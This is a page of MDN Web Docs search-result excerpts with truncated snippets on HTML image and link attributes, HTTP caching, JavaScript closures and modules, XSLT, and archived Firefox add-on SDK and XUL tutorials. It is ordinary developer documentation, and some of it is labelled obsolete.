mmediately, regardless of whether or not the image is currently within the visible viewport (this is the default value). lazy: defers loading the image until it reaches a calculated distance from the viewport, as defined by the browser. the intent is to avoid the network and storage bandwidth needed to handle the image until it's reasonably certain that it will be needed. this generally improves t...
...ral data to the scheme, host, and port, while navigating from the same origin will include the full path and query string. unsafe-url: the referer header will always include the origin, path and query string, but not the fragment, password, or username. this is unsafe because it can leak information from tls-protected resources to insecure origins. sizes one or more strings separated by co
mmas, indicating a set of source sizes. each source size consists of: a media condition. this must be omitted for the last item in the list. a source size value. media conditions describe properties of the viewport, not of the image. for example, (max-height: 500px) 1000px proposes to use a source of 1000px width, if the viewport is not higher than 500px. source size values specify the i...
...And 5 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet. the rel stands for "relationship", and is probably one of the key features of the <link> element — the value denotes how the item being linked to is related to the containing document. as you'll see from our link types reference, there are many different kinds of relationship. there are a number of other co
mmon types you'll come across. for example, a link to the site's favicon: <link rel="icon" href="favicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, whil...
.... title the title attribute has special semantics on the <link> element. when used on a <link rel="stylesheet"> it defines a preferred or an alternate stylesheet. incorrectly using it may cause the stylesheet to be ignored. type this attribute is used to define the type of the content linked to. the value of the attribute should be a mime type such as text/html, text/css, and so on. the co
mmon use of this attribute is to define the type of stylesheet being referenced (such as text/css), but given that css is the only stylesheet language used on the web, not only is it possible to omit the type attribute, but is actually now reco
mmended practice. it is also used on rel="preload" link types, to make sure the browser only downloads file types that it supports. non-standard attributes ...
...And 5 more matches
Using the application cache - HTML: Hypertext Markup Language
that lists the resources the browser should cache for offline access. resources are identified by uri. entries listed in the cache manifest must have the same scheme, host, and port as the manifest. example 1: a simple cache manifest file the following is a simple cache manifest file, example.appcache, for an imaginary web site at www.example.com. cache manifest # v1 - 2011-08-13 # this is a co
mment. http://www.example.com/index.html http://www.example.com/header.png http://www.example.com/blah/blah a cache manifest file can include three sections (cache, network, and fallback, discussed below). in the example above, there is no section header, so all data lines are assumed to be in the explicit (cache) section, meaning that the browser should cache all the listed resources in the appli...
...che manifest file can include three sections (cache, network, and fallback, discussed below). in the example above, there is no section header, so all data lines are assumed to be in the explicit (cache) section, meaning that the browser should cache all the listed resources in the application cache. resources can be specified using either absolute or relative urls (e.g., index.html). the "v1" co
mment in the example above is there for a good reason. browsers only update an application cache when the manifest file changes, byte for byte. if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. you can make any change you want to the ...
...wsers only update an application cache when the manifest file changes, byte for byte. if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. you can make any change you want to the manifest file, but revising a version number is the reco
mmended best practice. important: do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available. sections in a cache manifest file: cache, network, and fallback a manifest can have three distinct sections: cache, network, and fallback. cache: this is the default section for entries in a cache manifest fi...
...And 5 more matches
Cache-Control - HTTP
directives (instructions) for caching in both requests and responses. a given directive in a request does not mean the same directive should be in the response. header type general header forbidden header name no cors-safelisted response header yes syntax caching directives have the following rules to be valid: case-insensitive, but lowercase is reco
mmended. multiple directives are co
mma-separated. some directives have an optional argument, which can be either a token or a quoted-string. (see spec for definitions) cache request directives standard cache-control directives that can be used by the client in an http request. cache-control: max-age=<seconds> cache-control: max-stale[=<seconds>] cache-control: min-fresh=<seconds> cache-control...
... cache-control: public cache-control: private cache-control: proxy-revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document. check the compatibility table for their support; user-agents that don't recognize them should ignore them. ...
...tore the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with i
mmutable. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-store the response may not be stored in any cache. although other directives may be set, this alone is the only directive you need in preventing cached responses on modern browsers. max-age=0 is already implied. setting must-revalid...
...And 5 more matches
An overview of HTTP - HTTP
ows the fetching of resources, such as html documents. it is the foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more. clients and servers co
mmunicate by exchanging individual messages (as opposed to a stream of data). the messages sent by the client, usually a web browser, are called requests and the messages sent by the server as an answer are called responses. designed in the early 1990s, http is an extensible protocol which has evolved over time. it is an application layer protocol that is sent over tcp, or over a tls-encrypted tcp ...
...t. this means some parts of displayed text are links which can be activated (usually by a click of the mouse) to fetch a new web page, allowing the user to direct their user-agent and navigate through the web. the browser translates these directions in http requests, and further interprets the http responses to present the user with a clear response. ...
... a server is not necessarily a single machine, but several server software instances can be hosted on the same machine. with http/1.1 and the host header, they may even share the same ip address. ...
...And 5 more matches
Closures - JavaScript
alert(name); } return displayname; } var myfunc = makefunc(); myfunc(); running this code has exactly the same effect as the previous example of the init() function above. what's different (and interesting) is that the displayname() inner function is returned from the outer function before being executed. at first glance, it might seem unintuitive that this code still works. in some progra
mming languages, the local variables within a function exist for just the duration of that function's execution. once makefunc() finishes executing, you might expect that the name variable would no longer be accessible. however, because the code still works as expected, this is obviously not the case in javascript. the reason is that functions in javascript form closures. a closure is the combinati...
...0 are both closures. they share the same function body definition, but store different lexical environments. in add5's lexical environment, x is 5, while in the lexical environment for add10, x is 10. practical closures closures are useful because they let you associate data (the lexical environment) with a function that operates on that data. this has obvious parallels to object-oriented progra
mming, where objects allow you to associate data (the object's properties) with one or more methods. consequently, you can use a closure anywhere that you might normally use an object with only a single method. situations where you might want to do this are particularly co
mmon on the web. much of the code written in front-end javascript is event-based. you define some behavior, and then attach it ...
...stead, you can access them using the three public functions that are returned from the anonymous wrapper. those three public functions are closures that share the same lexical environment. thanks to javascript's lexical scoping, they each have access to the privatecounter variable and the changeby function. notice that i defined an anonymous function that creates a counter, and then i call it i
mmediately and assign the result to the counter variable. you could store this function in a separate variable makecounter, and then use it to create several counters. var makecounter = function() { var privatecounter = 0; function changeby(val) { privatecounter += val; } return { increment: function() { changeby(1); }, decrement: function() { changeby(-1); ...
...And 5 more matches
JavaScript modules - JavaScript
vascript being used in other contexts (node.js, for example). it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other co
mmonjs and amd-based module systems like requirejs, and more recently webpack and babel). the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. this can only be a good thing — browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side process...
...see node's ecmascript modules documentation for more details.disabled ...
...46safari ios full support 11.3samsung internet android full support 8.0nodejs full support 13.2.0notes full support 13.2.0notes notes dynamic import can be used in either co
mmonjs or es module files, to import either co
mmonjs or es module files. see node's ecmascript modules documentation for more details. full support 12.0.0notes disabled notes dynamic import can be used in either co
mmonjs or es module files, to import either co
mmonjs or es module files. see node's ecmascript modules documentation for more details.disabled from version 12.0.0: this feature is behind th...
...And 5 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes found 54 pages: # page tags and su
mmary 1 xslt: extensible stylesheet language transformations landing, web, xslt extensible stylesheet language transformations (xslt) is an xml-based language used, in conjunction with specialized processing software, for the transformation of xml documents. 2 co
mmon xslt errors xslt your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml. to find out the current type, load the file in mozilla and look at the page info. or use a download tool, those usually tell the mime type. 3 index index, reference, xslt found 54 pages: 4...
...the example allows sorting the content multiple times, alternating between ascending and descending order. ...
...the stylesheet with a xml mime type, text/xml or application/xml. to find out the current type, load the file in mozilla and look at the page info. or use a download tool, those usually tell the mime type. 3 index index, reference, xslt found 54 pages: 4 pi parameters xslt no su
mmary! 5 the xslt/javascript interface in gecko xslt no su
mmary! 6 advanced example xslt this advanced example sorts several divs based on their content. the example allows sorting the content multiple times, alternating between ascending and descending order. the javascript loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file. using the xsltprocessor.getparameter() me...
...And 5 more matches
Module structure of the SDK - Archive of obsolete content
co
mmonjs is the underlying infrastructure for both the sdk and the add-ons you build using the sdk. a co
mmonjs module is a piece of reusable javascript: it exports certain objects which are thus made available to dependent code. co
mmonjs defines: an object called exports which contains all the objects which a co
mmonjs module wants to make available to other modules a function called require which a module can use to import the exports object of another module. except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a co
mmonjs module, including: sdk modules: the javascript modules which the sdk provides, such as panel and page-mod. local modules: each of the javascript files under you...
...es, such as panel and page-mod. local modules: each of the javascript files under your add-on's "lib" directory. external modules: reusable modules developed and maintained outside the sdk, but usable by sdk-based add-ons. sdk modules the modules supplied by the sdk are divided into two sorts: high-level modules like panel and page-mod provide relatively simple, stable apis for the most co
mmon add-on development tasks. low-level modules like heritage and namespace provide more powerful functionality, and are typically less stable and more complex. to use sdk modules, you can pass require() a complete path, starting with "sdk", to the module you want to use. for high-level modules this is just sdk/<module_name>, and for low-level modules it is sdk/<path_to_module>/<module_name>: /...
...versions of the modules in firefox that are used. if you need to use a different version of the modules, you can do this by checking out the version of the sdk that you need and passing the -o or --overload option to jpm run or jpm xpi. local modules at a minimum, an sdk-based add-on consists of a single module named main.js, but you can factor your add-on's code into a collection of separate co
mmonjs modules. each module is a separate file stored under your add-on's "lib" directory, and exports the objects you want to make available to other modules in your add-on. see the tutorial on creating reusable modules for more details. to import a local module, specify a path relative to the importing module. for example, the following add-on contains an additional module directly under "lib", ...
...And 4 more matches
ui/frame - Archive of obsolete content
's html content, as with a normal web page: <script type="text/javascript" src="frame.js"></script> as usual, the path to the script is relative to the html file's location. messages logged from a frame script using the console will not appear in the terminal when you run the add-on using jpm run. however, they will appear in the browser console. this issue is being tracked as bug 982385. co
mmunicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage(). a frame creates a separate iframe instance for each browser window. so there are three cases to consider: sending messages from a frame script to the main add-on code sending messages from the main add-on code to all instances of a frame,...
... e.source.postmessage("pong", "*"); } } parameters event : string the name of the event to listen to. frame supports the following events: attach, detach, load, ready, and message. listener : function the listener function. this is passed an event object which always contains a source property, which has a postmessage() function modeled after window.postmessage(). you can use this to co
mmunicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows. once(event, listener) assign a listener to the first occurrence only of an event emitted by the frame. frame supports the following events: attach, detach, load, ready, and message. the listener is automatically removed after the first time the event is emitted...
... e.source.postmessage("pong", "*"); } } parameters event : string the name of the event to listen to. frame supports the following events: attach, detach, load, ready, and message. listener : function the listener function. this is passed an event object which always contains a source property, which has a postmessage() function modeled after window.postmessage(). you can use this to co
mmunicate only with the specific frame instance that generated the event, and not to any frame instance attached to other browser windows. removelistener(event, listener) removes an event listener. for example, this code is equivalent to once(): var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); frame.on("message", pong) function pong(e) { if (e.data =...
...And 4 more matches
Release notes - Archive of obsolete content
firefox 35 highlights added access keys for context menu. removed isprivatebrowsing from browserwindow. details github co
mmits made between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. firefox 34 highlights new api: dev/panel enables you to extend the firefox developer tools. jpm beta released. "./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs. details github co
mmits made between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. bugs fixed between fi...
...een firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. firefox 33 highlights added support for context menus in panels via a new option in the panel constructor. added tab.readystate. added a browserwindow parameter to sidebar.show() and sidebar.hide(), to control the window for which the sidebar will be shown or hidden. details github co
mmits made between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. firefox 32 highlights added exclude option to pagemod. added anonymous option to request. add-on debugger now includes a console and a scratchpad. detai...
...een firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. firefox 32 highlights added exclude option to pagemod. added anonymous option to request. add-on debugger now includes a console and a scratchpad. details github co
mmits made between firefox 31 and firefox 32. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 31 and firefox 32. this will not include any uplifts made after this release entered aurora. firefox 31 highlights add-on debugger added the ability to convert between high-level browserwindow objects and dom windows, and between high-level tab obj...
...And 4 more matches
Getting Started (jpm) - Archive of obsolete content
the add-on sdk includes a co
mmand-line tool that you use to initialize, run, test, and package add-ons. the current tool is called jpm, and is based on node.js. it replaces the old cfx tool. you can use jpm from firefox 38 onwards. this article describes how to develop using jpm. this tutorial walks through creating a simple add-on using the sdk. prerequisites to create add-ons for firefox using the sdk, you'll need: firefox version 38 or later. if you need to work with earlier versions of firefox, you'll need to use the old cfx tool. see instructions for getting started with cfx. the co
mmand-line jpm tool. see the instructions for installing jpm. once you've done that, you'll be looking at a co
mmand prompt. install firefox developer version for testing your add-on. initializi...
... firefox version 38 or later. if you need to work with earlier versions of firefox, you'll need to use the old cfx tool. see instructions for getting started with cfx. the co
mmand-line jpm tool. see the instructions for installing jpm. once you've done that, you'll be looking at a co
mmand prompt. install firefox developer version for testing your add-on. initializing an empty add-on in the co
mmand prompt, create a new directory. navigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file. for now, just press enter to accept the default for each property. for more information on jpm init, see the jpm co
mmand reference. once you've suppli...
...is found directly in your add-on's root. in cfx, the entry point defaults to "main.js", and is located in the "lib" directory under the add-on's root. save the file. next, create a directory called "data" in your add-on's root, mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the co
mmand prompt, type: jpm run this is the jpm co
mmand to run a new instance of firefox with your add-on installed. if firefox can not be located, or you have installed firefox developer as an alternate browser, you may need to provide the path to it. for example, in ubuntu: jpm run -b /usr/bin/firefox when firefox launches, in the top-right corner of the browser you'll see an icon with the firefo...
...And 4 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
matsuzawa-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) this chapter discusses tools to assist in developing extensions. ...
...reakpoints in locations of interest where you’re not sure what’s going on, and the next time you run it, use continue to shift to that location and start investigating again. fixme: figure 4: adding a watch target mozunit mozunit is a tool for javascript that assists with unit testing. it provides an ui similar to that of eclipse’s junit test runner. it should be very easy for java progra
mmers to get up to speed on it quickly. installing mozunit is a feature of mozlab. install mozlab from the following url and relaunch firefox. http://hyperstruct.net/projects/mozunit after relaunching, set up the editor you’ll use to write tests. open the about:config screen and edit the extensions.mozlab.mozunit.editor property. parameters are as shown in table 1. if you want to use terapad2,...
... mozilla cross-reference mozilla cross-reference is a full-text searchable source-code listing hosted at mozilla.org. we’re going to use mxr (http://mxr.mozilla.org), a linux source-code browser. getti...
...And 4 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
. <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" onco
mmand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here. --> </toolbarpalette> <!-- more overlay stuff. --> </overlay> one detail that is easy to overlook is the fact that the toolbarpalette element is outside of the window element. if you put the toolbarpalette element inside the window element in your overlay, some weird errors will begin to happen. always ...
...ibute should also be set if you want a customizable toolbar. it points to the id of a popup element that holds the customization options that are displayed when the user right-clicks on the toolbar. this popup is already part of the main window, so it doesn't need to be implemented again. the defaultset attribute lists the ids of the icons you want to include on your toolbar by default. it's a co
mma-separated list of ids, and it can also include other special values: spacer, separator and spring. spacer represents an empty button space, separator a vertical separation line and spring a flexible empty area that stretches. finally, the insertbefore attribute places our toolbar above the bookmarks toolbar. this is a matter of personal preference, but the mac os theme seems to be designed so t...
...based). this makes it easy to keep the themes separate and to make changes to one of them without having to worry about the rest. on the other hand, it is often the case that there are multiple images and css sheets that are the same for all systems. for example, your extension logo icon will probably be the same. having multiple copies of these files can be wasteful, so you may want to have a "co
mmon" directory. image files use the most space in an extension package, by far. most extensions are a few hundred kilobytes in size or smaller. if your file is getting too big, you should look into optimizing your images. given the way manifest files work, we have found that the best solution is to have a separate package name for os-specific skin files. skin xulschoolhello classic/1.0 skin...
...And 4 more matches
Adding menus and submenus - Archive of obsolete content
in this section we'll look into more specialized menus and what you can do with them. adding a new menu we already saw how to add menus in overlays and, as you may have imagined, you can nest submenus as deep as you want. you should avoid having deep menus or too many options, since they are confusing for most users. if your extension requires custom xul windows, you may also need to have menus on those windows. you can do this with a menubar. ...
...test it on mac os x to make sure everything works adequately. ...
...ode should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" onco
mmand="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoolhello.greet.custom.label;" onco
mmand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> ...
...And 4 more matches
Adding windows and dialogs - Archive of obsolete content
« previousnext » opening windows and dialogs to open a new window, use the javascript window.open function just like with html windows. window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional co
mma-separated list of features, which describe the behavior and appearance of the window. if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. the window.open page has a detailed description of the features you can use and their values. the following features are very important and you should always keep them in mind: chrome. this...
...user can resize the window or not. in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content. to open a new dialog, use the function window.opendialog, an extension of the open function. it allows you to send a set of optional parameters that can be used to co
mmunicate with the dialog. let somevalue = 2; let returnvalue = { accepted : false , result : "" }; window.opendialog( "chrome://xulschoolhello/content/somedialog.xul", "xulschoolhello-some-dialog", "chrome,centerscreen", somevalue, returnvalue); // you can send as many extra parameters as you need. // if (returnvalue.accepted) { do stuff } the optional parameters are available in the ...
...d = true; // returnvalue.result = "something"; the parameter named returnvalue is an object that the dialog will modify to reflect what the user did in it. this is the simplest way to have the dialog return something to its opener. note that the opener will wait until the dialog is closed. this means the opendialog function call will not return until the dialog has been closed by the user. co
mmon dialogs and the prompt service there are several types of dialogs that are fairly co
mmon, so there are ways to create them easily without having to reinvent the wheel and write all their xul and js code all over again. whenever you need a new dialog, you should ask yourself if it can be implemented using these co
mmon dialogs, and use them whenever it is possible. they have been thoroughly test...
...And 4 more matches
XPCOM Objects - Archive of obsolete content
ew changes and additions, and then write their own chrome layer. this lower layer is called xulrunner, and it is a very powerful platform, providing a very robust development base for web-enabled, cross-platform applications. the fact that it allows to easily create os-independent applications is a big selling point for xulrunner. xpcom is the way in which the two layers (xulrunner and chrome) co
mmunicate. most of the objects and functions in the lower layers are hidden from the chrome; those that need to be publicized are exposed through xpcom components and interfaces. you can think of xpcom as a reference to all the capabilities available on the lower layers of firefox. using xpcom components is relatively simple, as you've seen in previous examples. this.obsservice = cc["@mozilla.or...
...od that is included in all xpcom components. this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch); this._prefvalue = this._prefservice.getboolpref("somepreferencename"); this._prefservice.queryinterface(ci.nsiprefbranch2); this._prefservice.addobserver("somepreferencename", this, false); this._prefservice.queryinterface(ci.nsiprefbranch); this is a co
mmon piece of code you'll see when initializing components or jsm that rely on preferences. we use the preferences service to get and set preference values, such as the preference value we're getting on the fourth line of code. these methods are in the nsiprefbranch interface. the getservice and createinstance methods allow you to get the component already set to an interface. in many cases you only...
...ng the value attribute in this object after the method call. the method will set value for you. also, since js arrays have the length attribute to get their length, there's no need for the second parameter to be used, so we just pass it an empty object that we won't use. the second parameter is only necessary for callers from within c++ code that use pointers instead of high-level arrays. some co
mmonly used xpcom methods require other xpcom types as parameters. the addobserver method in nsiprefbranch2 is an example of this. void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); luckily, you don't have to do anything special if you want to register your js object as a preference observer. the nsiobserver has a single method observe, so all you need to do i...
...And 4 more matches
Tabbed browser - Archive of obsolete content
here you should find a set of useful code snippets to help you work with firefox's tabbed browser. the co
mments normally mark where you should be inserting your own code. each snippet normally includes some code to run at initialization, these are best run using a load listener. these snippets assume they are run in the context of a browser window. if you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details. multiple meanings for the word 'browser' the word 'browser' is used several ways. of course the entire application firefox is called "a browser". ...
...wser window. if you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see working with windows in chrome code for details. multiple meanings for the word 'browser' the word 'browser' is used several ways. of course the entire application firefox is called "a browser". ...
...ser". within the firefox browser are tabs and inside each tab is a browser, both in the co
mmon sense of a web page browser and the xul sense of a browser element. furthermore another meaning of 'browser' in this document and in some firefox source is "the tabbrowser element" in a firefox xul window. getting access to the browser from main window code running in firefox's global chromewindow, co
mmon for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser. // gbrowser is only accessible from the scope of // the browser window (browser.xul) gbrowser.addtab(...); if gbrowser isn't defined your code is either not running in the scope of the browser window or running too early. you can access gbrowser only after the browser window is...
...And 4 more matches
Adding preferences to an extension - Archive of obsolete content
tly configured stock symbol to watch from the preferences. to do so, we call the nsiprefbranch.getcharpref() method, specifying that we want the preference named "symbol", which is where we store the user's selection for the stock to watch. we forcibly convert the symbol to upper-case since that's the way stock symbols are normally displayed. next, we call our own refreshinformation() method to i
mmediately fetch and display the current information about the stock the extension is configured to monitor. we'll look at the details of how this method works later. the last thing the startup() method does is to call the window.setinterval() dom method to set up a callback that will automatically run our refreshinformation() method every 10 minutes. the interval time is specified in milliseconds.
...s the name of the preference that changed. in our example, we only have one preference, but you can monitor as many preferences as you wish here. if the changed preference is "symbol", we grab the updated value of the preference by calling the nsiprefbranch.getcharpref() method, and stash it in our tickersymbol variable. once we've gotten the updated preference, we call refreshinformation() to i
mmediately update the display with the new stock's information. watchstock() while we're at it, let's add a method that sets which stock we want to be watching, changing the preference and i
mmediately requesting a refresh of the display. this method will be used when the user uses the popup menu we'll be adding to change what stock they're watching. watchstock: function(newsymbol) { this.pre...
...ion()" /> </statusbar> now when the user clicks on the status bar panel, the stock information refreshes, but when they right-click on it, a context menu pops up. defining the menu is also easy. ...
...And 4 more matches
New Security Model for Web Services - Archive of obsolete content
e source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded. this policy has generally been successful in sandboxing javascript and java applets across the web. if the sandbox is unable to distinguish the co
mmon uri substring of the domain to be trusted from similar uris of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. also, this technique prevents the script from accessing many legitimate external resources not provided in the same domain as the script. this prevents a script from accessing web services and data publis...
...rantee that untrusted service requests are always properly rejected by services that should be firewall-protected. it may also be inconvenient to modify a soap service to ignore the specific verification header. using a declarations file a more robust solution is to rely on getting a file named "web-scripts-access.xml" in the root directory of the server that the sandboxed script requests to co
mmunicate with. it should be fairly easy for most providers of public resources to create. web scripts access statements the syntax of statements of the access file are as follows. <!element webscriptaccess (delegate?|allow*)> <!element delegate empty> <!element allow empty> <!attlist allow type|from cdata #implied>. the root element the first element of the file should be the following: <wsa...
...mple.com/foo/web-scripts-access.xml. if the uri is in a subdirectory, and the root directory's access file delegated but no access file exists in the subdirectory, then no access is granted. if the root's access file did not delegate, then that access file also handles all resources in subdirectories. any syntax error in the document will result in the rest of the file to be ignored. ...
...And 4 more matches
New Skin Notes - Archive of obsolete content
ve the blank space on category pages, like category:dom?by the way, it looks like this skin has the same problem as previous - the edit box, category list on category pages, and others are always below the end of the sidebar. the major problem it caused in cavendish skin - that they were out of the screen - is solved by making the sidebar smaller, which is not the right thing to do, imo (see my co
mment 1).--nickolay 02:11, 25 aug 2005 (pdt) yeah this is actually a problem with mw, rather than the skin -- they use a <br style="clear:both" /> in some pretty annoying places. i'll try to get those fixed today. --dria well, with mediawiki skin, you can have the clear:both's in content area without a problem. i understand it might be hard to fix in the skin, but it is very desirable (because we ...
...nd up being too wide at times. definitely need to fix for ie. --dria the edit section links are gone (they are only shown in normal skin if you set the appropriate preference). --nickolay do you know if there's a localsettings variable to have the edit-section links off by default? it appears that they're on by default right now. --dria yeah, i think we want them off by default, as the more co
mmon case for a reader will be to read documentation, not to edit it. --beltzner put these back in. will try to sort out how to change the default behaviour. --dria headers which are also links that point to as-yet-unwritten wiki pages are colored as though they actually do exist. for an example of this, see creating xpcom components. --waldo 21:09, 25 aug 2005 (pdt) not going to change (yet ...
...he sidebar `stays` when in-use, and on dynamic pages (such as the preferences page) if you toggle between something that needs a verticle scrollbar and something that doesnt, you get screen-jitter; if this is not-feasable, perhaps some method to have a viewport scrollbar always appear for the vert direction. minor-nit. --callek i couldn't find a quick "logout" link accessible from everywhere. --
mmondor 12:25, 26 aug 2005 (pdt) what pages can you not find a logout link from, i see it on nearly all devmo wiki pages in the "upper right: along with "my talk" "preferences" etc. oh, i went back to login page, logged in and then from there went to the /test/ pages and it's like the old look (with menu bar at the left), where indeed, the logout link is as it should be on the left in personal too...
...And 4 more matches
MenuButtons - Archive of obsolete content
utton with a type attribute set to 'menu-button' creates a button that can be pressed normally. however a segment of the button displays an arrow which, when pressed, opens a menu. in either case, a menupopup element should be placed as a direct child of the button. the 'menu' button the 'menu' type of button is used when pressing the button alone should just open the menu and not execute a co
mmand directly. this works similarly to the menu tag, and would be used to present a set of co
mmands to execute. to create a button of this type, set the type attribute of the button to 'menu'. for instance, in the following example, pressing the 'view' button will open a menu which allows the user to select from a set of radio menuitems. presumably, when one is selected, the application view would...
...type="checkbox"/> <menuitem label="clear cookies"/> </menupopup> </toolbarbutton> the 'menu-button' button the 'menu-button' type of button is used when you want to attach a menu to a button but want to have a default action carried out when the button is pressed by itself. ...
...a menu to a button but want to have a default action carried out when the button is pressed by itself. this is accomplished by dividing the button into two parts, one with the label and image to carry out the default co
mmand and the second to show the menu. to create a button of this type, set the type attribute of the button to 'menu-button'. ...
...And 4 more matches
Box Objects - Archive of obsolete content
ze references, which include borders as part of the element. the values are always the position and sizes as currently displayed, so the values will be different if the element is moved or resized. for example, a flexible element will change in size and the box object dimensions will update accordingly. the following example shows this. example 1 : source view <button label="click me" onco
mmand="alert('the width is ' + this.boxobject.width);"/> you can use the width and height attributes of the element to specify the element's width and height, respectively. note that retrieving these values will return the size only if it was explicitly specified. these properties will return an empty string if the width or height attributes or properties were not set already. that is, you cannot ...
... or collapsed state use the corresponding properties as in the following example. ...
...source view <script> function showpositionandsize() { var labelbox = document.getelementbyid('thelabel').boxobject; alert("position is (" + labelbox.x + "," + labelbox.y + ") and size is (" + labelbox.width + "," + labelbox.height + ")"); } </script> <button label="hide" onco
mmand="document.getelementbyid('thelabel').hidden = true;"/> <button label="show" onco
mmand="document.getelementbyid('thelabel').hidden = false;"/> <button label="collapse" onco
mmand="document.getelementbyid('thelabel').collapsed = true;"/> <button label="uncollapse" onco
mmand="document.getelementbyid('thelabel').collapsed = false;"/> <button label="show position/size" onco
mmand="showpositionandsize();"/> <label id="thelabel" value="i am a label"/> note that ...
...And 4 more matches
Document Object Model - Archive of obsolete content
unctions will not typically be available yet. the window object isn't defined by any dom specification, but in mozilla is sometimes considered part of dom level 0, a name used by some developers to refer to the dom-like functions before they were added to specifications. the actual document displayed in a window can be retrieved using the window's document property. since it is one of the most co
mmonly referenced properties of the window, the document property is usually referenced without the 'window.' qualifier. mozilla provides several different document objects depending on the kind of document. the three main documents are htmldocument, xmldocument, and xuldocument, for html, xml and xul documents respectively. obviously, it is this latter type of document used for xul. the three docu...
...nt. the three main documents are htmldocument, xmldocument, and xuldocument, for html, xml and xul documents respectively. obviously, it is this latter type of document used for xul. the three document types are very similar, in fact they all share the same base implementation. however, there are a few functions that are specific to one document type or the other. retrieving elements the most co
mmon method to retrieve an element in a document is to give the element an id attribute and the use the document's getelementbyid() method. we've added the id attribute to a number of elements in the find file dialog. for example, we could get the state of a check box by using the code below: var state = document.getelementbyid('casecheck').checked; the value casecheck corresponds to the id of th...
...secheck corresponds to the id of the case sensitive checkbox. once we have an indication of whether it is checked or not, we can use the state to perform the search. we could do something similar for the other check box, or any other element that has an id. we'll need to get the text in the input field for example. our find files example it doesn't make sense to have the progress bar and the du
